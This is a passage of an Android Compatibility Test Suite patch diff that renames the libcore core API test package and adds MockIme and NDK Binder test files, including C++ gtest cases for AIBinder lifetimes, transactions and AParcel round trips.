--- /dev/null
+++ b/tests/inputmethod/mockime/AndroidManifest_MockIme.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.view.inputmethod.cts"
+    android:targetSandboxVersion="2">
+
+    <application
+        android:multiArch="true"
+        android:supportsRtl="true">
+
+        <!-- In order to test typical use cases, let this MockIME run in a separate process -->
+        <service
+            android:name="com.android.cts.mockime.MockIme"
+            android:label="Mock IME"
+            android:permission="android.permission.BIND_INPUT_METHOD"
+            android:process=":mockime">
+            <intent-filter>
+                <action android:name="android.view.InputMethod" />
+            </intent-filter>
+            <meta-data
+                android:name="android.view.im"
+                android:resource="@xml/method" />
+        </service>
+
+    </application>
+</manifest>
diff --git a/tests/libcore/coreapi/Android.mk b/tests/libcore/coreplatformapi/Android.mk
similarity index 92%
rename from tests/libcore/coreapi/Android.mk
rename to tests/libcore/coreplatformapi/Android.mk
index 225dc15..9dd2f17 100644
--- a/tests/libcore/coreapi/Android.mk
+++ b/tests/libcore/coreplatformapi/Android.mk
@@ -16,12 +16,12 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_PACKAGE_NAME := CtsLibcoreCoreApiTestCases
+LOCAL_PACKAGE_NAME := CtsLibcoreCorePlatformApiTestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-core-test-runner \
-    core-api-test
+    core-platform-api-test
 
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
diff --git a/tests/libcore/coreapi/AndroidManifest.xml b/tests/libcore/coreplatformapi/AndroidManifest.xml
similarity index 84%
rename from tests/libcore/coreapi/AndroidManifest.xml
rename to tests/libcore/coreplatformapi/AndroidManifest.xml
index f2f2f7f..6b582a8 100644
--- a/tests/libcore/coreapi/AndroidManifest.xml
+++ b/tests/libcore/coreplatformapi/AndroidManifest.xml
@@ -16,7 +16,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.libcore.cts.coreapi"
+    package="android.libcore.cts.coreplatformapi"
     android:targetSandboxVersion="2">
 
     <application android:usesCleartextTraffic="true">
@@ -25,7 +25,7 @@
 
     <instrumentation
         android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS Libcore core API test cases"
-        android:targetPackage="android.libcore.cts.coreapi">
+        android:label="CTS Libcore core platform API test cases"
+        android:targetPackage="android.libcore.cts.coreplatformapi">
     </instrumentation>
 </manifest>
diff --git a/tests/libcore/coreapi/AndroidTest.xml b/tests/libcore/coreplatformapi/AndroidTest.xml
similarity index 82%
rename from tests/libcore/coreapi/AndroidTest.xml
rename to tests/libcore/coreplatformapi/AndroidTest.xml
index f0ef03e..907fb2d 100644
--- a/tests/libcore/coreapi/AndroidTest.xml
+++ b/tests/libcore/coreplatformapi/AndroidTest.xml
@@ -13,15 +13,15 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Config for CTS Libcore core API test cases">
+<configuration description="Config for CTS Libcore core platform API test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsLibcoreCoreApiTestCases.apk" />
+        <option name="test-file-name" value="CtsLibcoreCorePlatformApiTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.libcore.cts.coreapi" />
+        <option name="package" value="android.libcore.cts.coreplatformapi" />
         <option name="runtime-hint" value="1m"/>
         <option name="hidden-api-checks" value="false"/>
     </test>
diff --git a/tests/libcore/coreapi/Android.mk b/tests/tests/binder_ndk/Android.mk
similarity index 65%
copy from tests/libcore/coreapi/Android.mk
copy to tests/tests/binder_ndk/Android.mk
index 225dc15..686bc02 100644
--- a/tests/libcore/coreapi/Android.mk
+++ b/tests/tests/binder_ndk/Android.mk
@@ -12,28 +12,30 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
 
-LOCAL_PACKAGE_NAME := CtsLibcoreCoreApiTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_PACKAGE_NAME := CtsNdkBinderTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner \
-    core-api-test
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
 
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
 
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+
+LOCAL_JNI_SHARED_LIBRARIES := libbinder_ndk_test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/binder_ndk/AndroidManifest.xml b/tests/tests/binder_ndk/AndroidManifest.xml
new file mode 100644
index 0000000..c0efdd8
--- /dev/null
+++ b/tests/tests/binder_ndk/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.binder.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <!-- This is a self-instrumenting test package. -->
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.binder.cts"
+                     android:label="CTS tests of native binder API">
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/libcore/coreapi/AndroidTest.xml b/tests/tests/binder_ndk/AndroidTest.xml
similarity index 74%
copy from tests/libcore/coreapi/AndroidTest.xml
copy to tests/tests/binder_ndk/AndroidTest.xml
index f0ef03e..c627392 100644
--- a/tests/libcore/coreapi/AndroidTest.xml
+++ b/tests/tests/binder_ndk/AndroidTest.xml
@@ -13,16 +13,16 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Config for CTS Libcore core API test cases">
+<configuration description="Config for CTS NDK Binder test cases">
     <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="component" value="devtools" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsLibcoreCoreApiTestCases.apk" />
+        <option name="test-file-name" value="CtsNdkBinderTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.libcore.cts.coreapi" />
-        <option name="runtime-hint" value="1m"/>
-        <option name="hidden-api-checks" value="false"/>
+        <option name="package" value="android.binder.cts" />
+        <option name="runtime-hint" value="0m30s" />
     </test>
 </configuration>
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
new file mode 100644
index 0000000..30b96e7
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libbinder_ndk_test",
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+
+    srcs: [
+        "android_binder_cts_ibinder.cpp",
+        "android_binder_cts_parcel.cpp",
+        "utilities.cpp",
+    ],
+
+    shared_libs: [
+        "liblog",
+        "libbinder_ndk",
+    ],
+    whole_static_libs: ["libnativetesthelper_jni"],
+
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_ibinder.cpp
new file mode 100644
index 0000000..fbcf11c
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_ibinder.cpp
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+class NdkBinderTest_AIBinder : public NdkBinderTest {};
+
+TEST_F(NdkBinderTest_AIBinder, Destruction) {
+  bool destroyed = false;
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, [&](SampleData*) { destroyed = true; });
+  EXPECT_FALSE(destroyed);
+  AIBinder_incStrong(binder);  // 1 -> 2
+  EXPECT_FALSE(destroyed);
+  AIBinder_decStrong(binder);  // 2 -> 1
+  EXPECT_FALSE(destroyed);
+  AIBinder_decStrong(binder);  // 1 -> 0
+  EXPECT_TRUE(destroyed);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetClass) {
+  AIBinder* binder = SampleData::newBinder();
+  // class is already set since this local binder is contructed with it
+  EXPECT_EQ(SampleData::kClass, AIBinder_getClass(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateClass) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_TRUE(AIBinder_associateClass(binder, SampleData::kClass));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateWrongClassFails) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_FALSE(AIBinder_associateClass(binder, SampleData::kAnotherClass));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetUserData) {
+  // This test can't use the helper utility since SampleData isn't exposed
+  SampleData* data = new SampleData;
+  // Takes ownership of data
+  AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+  EXPECT_EQ(data, AIBinder_getUserData(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, DestructionGivesUserData) {
+  // This test can't use the helper utility since SampleData isn't exposed
+  SampleData* destroyedPointer = nullptr;
+  SampleData* data = new SampleData(
+      nullptr, [&](SampleData* data) { destroyedPointer = data; });
+  // Takes ownership of data
+  AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+  EXPECT_EQ(nullptr, destroyedPointer);
+  AIBinder_decStrong(binder);
+
+  // These pointers no longer reference valid memory locations, but the pointers
+  // themselves are valid
+  EXPECT_EQ(data, destroyedPointer);
+}
+
+TEST_F(NdkBinderTest_AIBinder, DebugRefCount) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_EQ(1, AIBinder_debugGetRefCount(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(binder, promoted);
+  AIBinder_Weak_delete(&weak);
+  EXPECT_EQ(nullptr, weak);
+  AIBinder_decStrong(binder);
+  AIBinder_decStrong(promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanNotPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_decStrong(binder);
+
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(nullptr, promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_FALSE(AIBinder_isRemote(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, IsAlive) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_TRUE(AIBinder_isAlive(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, CanPing) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_OK(AIBinder_ping(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionHappens) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, OnewayTransactionHappens) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, FLAG_ONEWAY));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeMaintained) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t code, const AParcel*, AParcel*) {
+        EXPECT_EQ(code, kCode);
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeRangeRespected) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK));
+  EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION));
+  EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION + 1));
+  EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION - 1));
+  EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION));
+
+  EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+            SampleData::transact(binder, FIRST_CALL_TRANSACTION - 1));
+  EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+            SampleData::transact(binder, LAST_CALL_TRANSACTION + 1));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, UnknownFlagsRejected) {
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, +1 + 415));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, FLAG_ONEWAY + 1));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, ~0));
+  AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_parcel.cpp
new file mode 100644
index 0000000..0b72824
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_parcel.cpp
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+#include <limits>
+#include <vector>
+
+class NdkBinderTest_AParcel : public NdkBinderTest {};
+
+// These reads and writes an array of possible values all of the same type.
+template <typename T, binder_status_t (*write)(AParcel*, const T),
+          binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOut(std::vector<T> in) {
+  AIBinder* binder = SampleData::newBinder(
+      [](transaction_code_t, const AParcel* in, AParcel* out) {
+        T readTarget;
+        EXPECT_OK(read(in, &readTarget));
+        EXPECT_OK(write(out, readTarget));
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(in.size()));
+
+  for (const auto& value : in) {
+    EXPECT_OK(SampleData::transact(binder, kCode,
+                                   [&](AParcel* in) {
+                                     EXPECT_OK(write(in, value));
+                                     return STATUS_OK;
+                                   },
+                                   [&](const AParcel* out) {
+                                     T readTarget;
+                                     EXPECT_OK(read(out, &readTarget));
+                                     EXPECT_EQ(value, readTarget);
+                                     return STATUS_OK;
+                                   }));
+  }
+
+  AIBinder_decStrong(binder);
+}
+
+template <typename T, binder_status_t (*write)(AParcel*, const T),
+          binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOutMinMax() {
+  ExpectInOut<T, write, read>(
+      {std::numeric_limits<T>::min(), std::numeric_limits<T>::max()});
+}
+
+TEST_F(NdkBinderTest_AParcel, ReadUnexpectedNullBinder) {
+  AIBinder* binder = SampleData::newBinder(
+      [](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+        AIBinder* value = nullptr;
+        binder_status_t ret = AParcel_readStrongBinder(in, &value);
+        EXPECT_EQ(nullptr, value);
+        EXPECT_EQ(STATUS_UNEXPECTED_NULL, ret);
+        return ret;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            SampleData::transact(binder, kCode, [&](AParcel* in) {
+              EXPECT_OK(AParcel_writeStrongBinder(in, nullptr));
+              return STATUS_OK;
+            }));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, BindersInMustComeOut) {
+  AIBinder* binder = SampleData::newBinder();
+
+  ExpectInOut<AIBinder*, AParcel_writeStrongBinder, AParcel_readStrongBinder>(
+      {binder});
+  // copy which is read when this binder is sent in a transaction to this
+  // process
+  AIBinder_decStrong(binder);
+  // copy which is read when this binder is returned in a transaction within
+  // this same process and is read again
+  AIBinder_decStrong(binder);
+
+  ExpectInOut<AIBinder*, AParcel_writeStrongBinder,
+              AParcel_readNullableStrongBinder>({nullptr, binder});
+  // copy which is read when this binder is sent in a transaction to this
+  // process
+  AIBinder_decStrong(binder);
+  // copy which is read when this binder is returned in a transaction within
+  // this same process and is read again
+  AIBinder_decStrong(binder);
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, WhatGoesInMustComeOut) {
+  ExpectInOut<int32_t, AParcel_writeInt32, AParcel_readInt32>(
+      {-7, -1, 0, 1, 45});
+  ExpectInOut<uint32_t, AParcel_writeUint32, AParcel_readUint32>(
+      {0, 1, 2, 100});
+  ExpectInOut<int64_t, AParcel_writeInt64, AParcel_readInt64>(
+      {-7, -1, 0, 1, 45});
+  ExpectInOut<uint64_t, AParcel_writeUint64, AParcel_readUint64>(
+      {0, 1, 2, 100});
+  ExpectInOut<float, AParcel_writeFloat, AParcel_readFloat>(
+      {-1.0f, 0.0f, 1.0f, 0.24975586f, 0.3f});
+  ExpectInOut<double, AParcel_writeDouble, AParcel_readDouble>(
+      {-1.0, 0.0, 1.0, 0.24975586, 0.3});
+
+  ExpectInOut<bool, AParcel_writeBool, AParcel_readBool>({true, false});
+  ExpectInOut<char16_t, AParcel_writeChar, AParcel_readChar>(
+      {L'\0', L'S', L'@', L'\n'});
+  ExpectInOut<int8_t, AParcel_writeByte, AParcel_readByte>({-7, -1, 0, 1, 45});
+}
+
+TEST_F(NdkBinderTest_AParcel, ExtremeValues) {
+  ExpectInOutMinMax<int32_t, AParcel_writeInt32, AParcel_readInt32>();
+  ExpectInOutMinMax<uint32_t, AParcel_writeUint32, AParcel_readUint32>();
+  ExpectInOutMinMax<int64_t, AParcel_writeInt64, AParcel_readInt64>();
+  ExpectInOutMinMax<uint64_t, AParcel_writeUint64, AParcel_readUint64>();
+  ExpectInOutMinMax<float, AParcel_writeFloat, AParcel_readFloat>();
+  ExpectInOutMinMax<double, AParcel_writeDouble, AParcel_readDouble>();
+  ExpectInOutMinMax<bool, AParcel_writeBool, AParcel_readBool>();
+  ExpectInOutMinMax<char16_t, AParcel_writeChar, AParcel_readChar>();
+  ExpectInOutMinMax<int8_t, AParcel_writeByte, AParcel_readByte>();
+}
+
+TEST_F(NdkBinderTest_AParcel, CantReadFromEmptyParcel) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(
+      binder, kCode, WriteNothingToParcel, [&](const AParcel* out) {
+        bool readTarget = false;
+        EXPECT_EQ(STATUS_NOT_ENOUGH_DATA, AParcel_readBool(out, &readTarget));
+        EXPECT_FALSE(readTarget);
+        return STATUS_OK;
+      }));
+  AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
new file mode 100644
index 0000000..714d66f
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include "utilities.h"
+
+#include <android/log.h>
+
+static size_t sNumInstances = 0;
+size_t SampleData::numInstances() { return sNumInstances; }
+
+void* SampleClassOnCreate(void* args) {
+  sNumInstances++;
+  return args;  // SampleData
+}
+
+void SampleClassOnDestroy(void* userData) {
+  SampleData* data = static_cast<SampleData*>(userData);
+  if (data->onDestroy != nullptr) {
+    data->onDestroy(data);
+  }
+  sNumInstances--;
+  delete data;
+}
+
+binder_status_t SampleClassOnTransact(AIBinder* binder, transaction_code_t code,
+                                      const AParcel* in, AParcel* out) {
+  SampleData* data = static_cast<SampleData*>(AIBinder_getUserData(binder));
+  if (data == nullptr) {
+    __android_log_write(ANDROID_LOG_FATAL, LOG_TAG, "null user data");
+  }
+  data->numberTransactions++;
+  if (data->onTransact == nullptr) {
+    ADD_FAILURE() << "onTransact not specified, but transactions called";
+    return STATUS_FAILED_TRANSACTION;
+  }
+  return data->onTransact(code, in, out);
+}
+
+const char* SampleData::kDescriptor = "this-is-arbitrary";
+const AIBinder_Class* SampleData::kClass =
+    AIBinder_Class_define(SampleData::kDescriptor, SampleClassOnCreate,
+                          SampleClassOnDestroy, SampleClassOnTransact);
+
+const char* SampleData::kAnotherDescriptor = "this-is-another-arbitrary-thing";
+const AIBinder_Class* SampleData::kAnotherClass =
+    AIBinder_Class_define(SampleData::kAnotherDescriptor, SampleClassOnCreate,
+                          SampleClassOnDestroy, SampleClassOnTransact);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
new file mode 100644
index 0000000..dfb8283
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+
+#include <functional>
+
+// Helpers for testing
+
+#define EXPECT_OK(THING) EXPECT_EQ(STATUS_OK, (THING))
+#define ASSERT_OK(THING) ASSERT_EQ(STATUS_OK, (THING))
+
+// placeholder
+constexpr transaction_code_t kCode = +1 + 918;
+
+// Usually, things at this level would be generated by the aidl compiler. This
+// class is merely to make testing the API easier.
+
+struct SampleData;
+
+typedef std::function<void(SampleData*)> OnDestroyFunc;
+typedef std::function<binder_status_t(transaction_code_t code,
+                                      const AParcel* in, AParcel* out)>
+    OnTransactFunc;
+
+typedef std::function<binder_status_t(AParcel*)> WriteParcel;
+typedef std::function<binder_status_t(const AParcel*)> ReadParcel;
+
+static inline binder_status_t WriteNothingToParcel(AParcel*) {
+  return STATUS_OK;
+}
+static inline binder_status_t ReadNothingFromParcel(const AParcel*) {
+  return STATUS_OK;
+}
+
+struct SampleData {
+  static size_t numInstances();
+
+  static const char* kDescriptor;
+  static const AIBinder_Class* kClass;
+
+  static const char* kAnotherDescriptor;
+  static const AIBinder_Class* kAnotherClass;
+
+  SampleData(const OnTransactFunc& oT = nullptr,
+             const OnDestroyFunc& oD = nullptr)
+      : onTransact(oT), onDestroy(oD) {}
+
+  // This is called when the class is transacted on if non-null.
+  // Otherwise, STATUS_FAILED_TRANSACTION is returned.
+  OnTransactFunc onTransact;
+
+  // This is called when the class is destroyed if non-null.
+  OnDestroyFunc onDestroy;
+
+  // Automatically updated by this class whenever a transaction is received.
+  int numberTransactions = 0;
+
+  __attribute__((warn_unused_result)) static AIBinder* newBinder(
+      OnTransactFunc onTransact = nullptr, OnDestroyFunc onDestroy = nullptr) {
+    SampleData* data = new SampleData(onTransact, onDestroy);
+    return AIBinder_new(kClass, static_cast<void*>(data));
+  };
+
+  // Helper method to simplify transaction logic
+  static binder_status_t transact(AIBinder* binder, transaction_code_t code,
+                                  WriteParcel writeFunc = WriteNothingToParcel,
+                                  ReadParcel readFunc = ReadNothingFromParcel,
+                                  binder_flags_t flags = 0) {
+    AParcel* in;
+    binder_status_t status = AIBinder_prepareTransaction(binder, &in);
+    if (status != STATUS_OK) return status;
+
+    status = writeFunc(in);
+    if (status != STATUS_OK) {
+      AParcel_delete(&in);
+      EXPECT_EQ(nullptr, in);
+      return status;
+    }
+
+    AParcel* out;
+    status = AIBinder_transact(binder, code, &in, &out, flags);
+    if (status != STATUS_OK) return status;
+
+    status = readFunc(out);
+    AParcel_delete(&out);
+    EXPECT_EQ(nullptr, out);
+
+    return status;
+  }
+};
+
+static inline OnDestroyFunc ExpectLifetimeTransactions(size_t count) {
+  return [count](SampleData* data) {
+    EXPECT_EQ(count, data->numberTransactions)
+        << "Expected " << count
+        << " transaction(s), but over the lifetime of this object, it received "
+        << data->numberTransactions;
+  };
+}
+
+static inline OnTransactFunc TransactionsReturn(binder_status_t result) {
+  return
+      [result](transaction_code_t, const AParcel*, AParcel*) { return result; };
+}
+
+class NdkBinderTest : public ::testing::Test {
+ public:
+  void SetUp() override { EXPECT_EQ(0, SampleData::numInstances()); }
+  void TearDown() override { EXPECT_EQ(0, SampleData::numInstances()); }
+};
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
new file mode 100644
index 0000000..d2e416f
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
